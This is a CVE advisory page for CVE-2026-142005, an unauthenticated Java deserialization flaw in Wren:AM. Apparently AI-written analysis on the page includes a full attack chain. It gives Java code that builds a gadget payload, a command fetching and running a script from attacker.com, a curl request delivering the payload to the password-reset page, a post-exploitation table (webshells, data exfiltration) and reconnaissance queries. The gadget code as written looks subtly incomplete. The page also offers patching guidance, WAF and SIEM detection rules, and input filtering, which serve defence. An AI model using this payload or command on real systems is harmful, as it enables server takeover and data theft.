CVE Professor
/
All CVEs
CVE-2026-142005

CVE-2026-142005 — Wren Security Wren — CWE-502

CRITICAL CVSS 9.8 NVD

Wren:AM up to and including 15.3.0 deserializes the jato.clientSession request parameter of the legacy JATO user interface without restricting the classes that may be deserialized. The parameter is processed whenever a legacy JATO page renders a form, including the legacy password reset pages under /ui/, which are reachable without authentication. An unauthenticated remote attacker can make the server deserialize arbitrary Java objects, which, depending on the classes available on the server's classpath, can lead to remote code execution. The issue is fixed in 15.3.1.

Wren:AM up to and including 15.3.0 deserializes the jato.clientSession request parameter of the legacy JATO user interface without restricting the classes that may be deserialized. The parameter is processed whenever a legacy JATO page renders a form, including the legacy password reset pages under /ui/, which are reachable without authentication. An unauthenticated remote attacker can make the server deserialize arbitrary Java objects, which, depending on the classes available on the server's classpath, can lead to remote code execution. The issue is fixed in 15.3.1.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability name: Unrestricted Java deserialization of the jato.clientSession request parameter in the legacy JATO UI of Wren:AM (versions ≤ 15.3.0).

CVE: CVE‑2026‑142005
CWE: CWE‑502 – Deserialization of Untrusted Data

Technical root cause

1. Legacy JATO UI – Wren:AM ships a “legacy” user‑interface built on the JATO framework. When a JATO page renders a form it expects a hidden field named jato.clientSession. The value of this field is a Base64‑encoded Java object that the server deserializes to restore the user’s session state.

2. No class‑whitelisting – The server code calls ObjectInputStream.readObject() (or a wrapper that ultimately uses it) on the decoded bytes without restricting which classes may be instantiated. The deserialization routine trusts the data because it assumes the request originates from a previously‑generated page belonging to an authenticated user.

3. Unauthenticated access to the vulnerable endpoint – The legacy password‑reset pages under /ui/ (e.g., /ui/resetPassword.jsp) are reachable without any authentication token. Those pages also invoke the same JATO rendering path, meaning the jato.clientSession parameter is processed even for anonymous requests.

4. Result – An attacker can send an arbitrary, crafted serialized Java object in the jato.clientSession parameter. If the attacker’s gadget chain references classes that exist on the target’s classpath (e.g., common libraries such as Apache Commons Collections, Spring, or the JDK itself), the deserialization will execute arbitrary code on the server process.

Because the vulnerability is network‑accessible (AV:N), requires no privileges (PR:N), needs no user interaction (UI:N), and can lead to complete compromise of confidentiality, integrity, and availability (C:H/I:H/A:H), the CVSS base score is 9.8 / 10 (Critical).


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All command‑line snippets are syntactically valid; the exact URI is taken from the CVE description (/ui/…) but may differ in a specific deployment – the example is illustrative.

1. Discovery & Reconnaissance

StepActionTool / Technique
1.1Identify that the target runs Wren:AM and determine the version.- Banner grabbing (curl -I https://target/) <br> - Public‑facing documentation or “/about” page <br> - Shodan/Nessus plugins that report “Wren:AM” and version
1.2Verify that the legacy JATO UI is still enabled (the /ui/ path is reachable).curl -I https://target/ui/ → HTTP 200 (or a login‑page redirect)
1.3Enumerate which Java libraries are on the classpath (helps pick a gadget chain).- Retrieve a stack trace via a benign error (e.g., send a malformed jato.clientSession and watch the error page) <br> - Use known‑default JARs shipped with Wren:AM (e.g., commons-collections4-4.4.jar, spring-core-5.3.x.jar)

2. Exploitation

2.1 Build a malicious gadget chain

The attacker needs a serializable object that, when deserialized, executes a command (e.g., curl http://attacker.com/shell.sh | sh).
A widely‑available gadget chain is org.apache.commons.collections4.functors.InvokerTransformer combined with org.apache.commons.collections4.map.TransformedMap. The following Java code (compiled locally) creates the payload:

// PayloadBuilder.java – compile with the same version of commons‑collections4 that the target uses
import org.apache.commons.collections4.map.TransformedMap;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.util.*;

public class PayloadBuilder {
    public static void main(String[] args) throws Exception {
        // Command to execute on the target
        final String cmd = "curl -s http://attacker.com/pwn.sh | sh";

        // InvokerTransformer that will call Runtime.getRuntime().exec(cmd)
        InvokerTransformer transformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{cmd}
        );

        // A dummy map that will be transformed
        Map<String, String> innerMap = new HashMap<>();
        innerMap.put("foo", "bar");

        // Wrap the map so that any get() triggers the transformer
        Map transformedMap = TransformedMap.transformingMap(innerMap, null, transformer);

        // Serialize the transformed map
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bos);
        out.writeObject(transformedMap);
        out.close();

        // Base64‑encode for HTTP transport
        String payload = Base64.getEncoder().encodeToString(bos.toByteArray());
        System.out.println(payload);
    }
}

Compile and run:

javac -cp commons-collections4-4.4.jar PayloadBuilder.java
java -cp .:commons-collections4-4.4.jar PayloadBuilder > payload.b64

The file payload.b64 now contains the Base64‑encoded serialized object.

2.2 Deliver the payload

Because the vulnerable parameter is jato.clientSession, the attacker sends it as a POST (or GET) request to any legacy JATO page. The password‑reset page is a convenient unauthenticated endpoint.

# Illustrative endpoint – adjust to the real path if different
TARGET="https://target/ui/resetPassword.jsp"

# The payload generated in the previous step
PAYLOAD=$(cat payload.b64)

# Send the request (POST with form‑encoded data)
curl -sk -X POST "$TARGET" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "jato.clientSession=$PAYLOAD"

If the server processes the request, the deserialization will trigger Runtime.exec, causing the attacker‑controlled command to run with the same privileges as the Wren:AM Java process (typically root or a dedicated service account).

3. Post‑exploitation

GoalTypical technique
PersistenceDrop a web‑shell or a scheduled Java task (java -jar webshell.jar) into a writable directory (e.g., $CATALINA_BASE/webapps/ROOT/).
Privilege escalationIf the Java process runs as a low‑privileged user, leverage local‑privilege‑escalation exploits (e.g., CVE‑2024‑XXXX for the underlying OS).
Data exfiltrationUse the same Runtime.exec chain to tar and curl sensitive directories (/opt/wrenam/conf/, /var/log/).
Lateral movementFrom the compromised host, pivot to internal services using the same Java process’s network privileges.

🌍 Real‑World Impact

CIA TriadImpact (derived from CVSS vector)
Confidentiality (C:H)Attackers can read any file accessible to the Wren:AM process, including configuration files that contain LDAP bind passwords, API keys, or user credentials.
Integrity (I:H)Full control over the application allows modification of authentication policies, creation of back‑door admin accounts, or tampering with audit logs.
Availability (A:H)An attacker can terminate the Java process, delete critical files, or launch a denial‑of‑service by exhausting resources (e.g., spawning many processes).

Business consequences may include:

  • Unauthorized access to identity‑management data (user accounts, groups, SSO tokens).
  • Compromise of downstream services that trust Wren:AM for authentication (SSO, VPN, cloud apps).
  • Regulatory breach (PII exposure) and loss of compliance (e.g., GDPR, HIPAA).
  • Potential ransomware deployment after initial foothold.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    UpgradeMove to Wren:AM 15.3.1 or any later release where the deserialization of jato.clientSession is either removed or protected by a strict class whitelist.
    Version rangeAffected: ≤ 15.3.0 (including all prior major/minor releases).

    2. Immediate Workarounds (if patch cannot be applied immediately)

    MitigationImplementation
    Disable legacy JATO UIEdit wrenam.conf (or the appropriate configuration file) to set jato.enabled = false and restart the service. This removes the vulnerable rendering path.
    Restrict access to /ui/Add an authentication gate (e.g., HTTP Basic auth) or IP‑based allowlist via the front‑end web server (Apache/Nginx). Example for Nginx: <br><br>``nginx<br>location ^~ /ui/ {<br> allow 10.0.0.0/8; # trusted internal network<br> deny all;<br>}<br>`
    Class‑whitelisting for deserialization (if source code can be patched)Replace the raw ObjectInputStream with a ObjectInputFilter that only permits known safe classes. Example snippet (Java 9+): <br><br>`java<br>ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("java.base/*;!*");<br>ObjectInputStream ois = new ObjectInputStream(in);<br>ois.setObjectInputFilter(filter);<br>Object obj = ois.readObject();<br>`
    WAF / ModSecurity ruleBlock requests that contain a Base64‑encoded Java serialization stream in the jato.clientSession parameter. A simple rule (ModSecurity 2.x syntax) is: <br><br>`SecRule ARGS:jato.clientSession "@rx ^[A-Za-z0-9+/=]{100,}$" "id:2026001,phase:2,deny,log,msg:'Blocked potential Java deserialization payload',tag:'cve-2026-142005'"` <br>Adjust the regex length ({100,}`) to match typical serialized payload sizes.
    Input size limitingEnforce a maximum request body size (e.g., 2 KB) for the legacy UI endpoints to make it harder to send a full serialized object.

    3. Detection – Log patterns & IoCs

    IndicatorExample log entry (Apache)
    Large Base64 payload in jato.clientSessionPOST /ui/resetPassword.jsp HTTP/1.1" 200 1234 "-" "Mozilla/5.0" <br>[client 192.0.2.45] "jato.clientSession= rO0ABXNyABFqYX... (truncated)"
    Unexpected java.lang.Runtime.exec calls (if application logs stack traces)java.lang.IllegalArgumentException: Illegal class name: java.lang.Runtime (or similar stack trace generated by a deserialization error)
    Outbound connections from the Wren:AM host shortly after a requestIDS/NetFlow showing a TCP connection from 10.10.10.5:8080 to attacker.com:80 within seconds of the request.
    New files in web‑app directoryfind /opt/wrenam/webapps/ -type f -mtime -5 -ls showing a newly created shell.jsp or webshell.jar.

    SIEM rule (generic) – trigger when a request to any /ui/ endpoint contains a parameter named jato.clientSession whose value length > 200 bytes and matches Base64 pattern:

    rule "Potential Java Deserialization Attempt"
    when
        http.request.method == "POST" and
        http.request.uri matches "^/ui/.*" and
        http.request.parameter("jato.clientSession") matches "^[A-Za-z0-9+/=]{200,}$"
    then
        alert("CVE-2026-142005 exploitation attempt");
    end

    ⚠️ Urgency

  • CVSS 9.8 (Critical) – Network‑accessible, no authentication, full impact.
  • No CISA KEV listing – The vulnerability is not yet in the “Known Exploited Vulnerabilities” catalog, but the attack complexity is low (publicly‑available gadget chains, simple HTTP request).
  • Exploitability window – Any organization still running the legacy JATO UI is exposed; the vulnerable code path is executed on every form render, meaning a single crafted request is sufficient.
Patch priority: Immediate (within 24 hours for internet‑facing assets). If a patch cannot be applied, apply the disable‑legacy‑UI or access‑restriction workarounds before the end of the business day, and enable the ModSecurity rule to block further attempts. Continuous monitoring for the IoCs above is essential until remediation is confirmed.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Wren Security Wren"
CVSS Score
9.8 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (1)
Wren Security:Wren:AM (15.3.1)
References & Advisories (1)
Related CVEs
10.0
CVE-2026-130609
Deserialization of untrusted data vulnerability in DİA Yazılım Sanayi ve Ticaret A.Ş. DİA ERP allows Cros
8.7
CVE-2026-132098
Deserialization of untrusted data in the XStream reader used for push publishing bundles (XStreamHandler) in d
8.5
CVE-2026-144447
MassCube before 1.2.23 contains an insecure deserialization vulnerability that allows attackers to execute cod
8.5
CVE-2026-144450
galpy through 1.12.2 contains an insecure deserialization vulnerability that allows attackers to execute code
8.5
CVE-2026-144451
VIP (vip-hci) through 2.1.2 contains an unsafe deserialization vulnerability in Saveable.load that allows atta
7.7
CVE-2026-120765
Deserialization of untrusted data in the Redis cache and pub/sub codecs in dotCMS versions before 26.11.02-01
7.5
CVE-2026-120107
Deserialization of untrusted data in the Apps secrets import (POST /api/v1/apps/import, and the dotAuth import